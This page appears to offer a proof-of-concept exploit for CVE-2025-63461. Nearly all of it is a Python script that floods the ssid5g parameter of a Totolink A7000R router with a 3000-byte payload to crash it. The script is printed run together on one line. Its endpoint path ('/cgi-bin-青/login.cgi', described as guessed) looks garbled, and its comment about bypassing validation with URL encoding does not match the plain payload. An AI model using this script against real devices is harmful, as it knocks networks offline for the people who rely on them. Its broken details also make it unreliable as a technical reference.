CVE-2025-63461 Totolink A7000R栈溢出漏洞导致拒绝服务

#!/usr/bin/env python3 # CVE-2025-63461 PoC - Totolink A7000R Stack Overflow in urldecode # Target: ssid5g parameter via URL encoding # Impact: Denial of Service import requests import sys def generate_payload(length=2000): """ Generate URL-encoded payload for ssid5g parameter The payload causes stack overflow in urldecode function """ # Create a long string that will overflow the stack buffer # Using URL encoding to bypass input validation payload = "A" * length return payload def exploit(target_ip, target_port=80): """ Send malicious request to trigger stack overflow """ # Generate overflow payload payload = generate_payload(3000) # Construct the malicious URL with encoded ssid5g parameter # Target: /cgi-bin-青/... or similar endpoint url = f"http://{target_ip}:{target_port}/cgi-bin-青/login.cgi" # Prepare POST data with overflow payload data = { "ssid5g": payload, "module": "wifi", "action": "set_ssid" } print(f"[*] Sending malicious request to {url}") print(f"[*] Payload length: {len(payload)} bytes") try: response = requests.post(url, data=data, timeout=5) print(f"[!] Response status: {response.status_code}") except requests.exceptions.Timeout: print("[+] Request timed out - target may be vulnerable") except requests.exceptions.ConnectionError: print("[+] Connection refused - target may be down (exploit successful)") except Exception as e: print(f"[*] Error: {str(e)}") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python3 cve-2025-63461.py <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 exploit(target, port)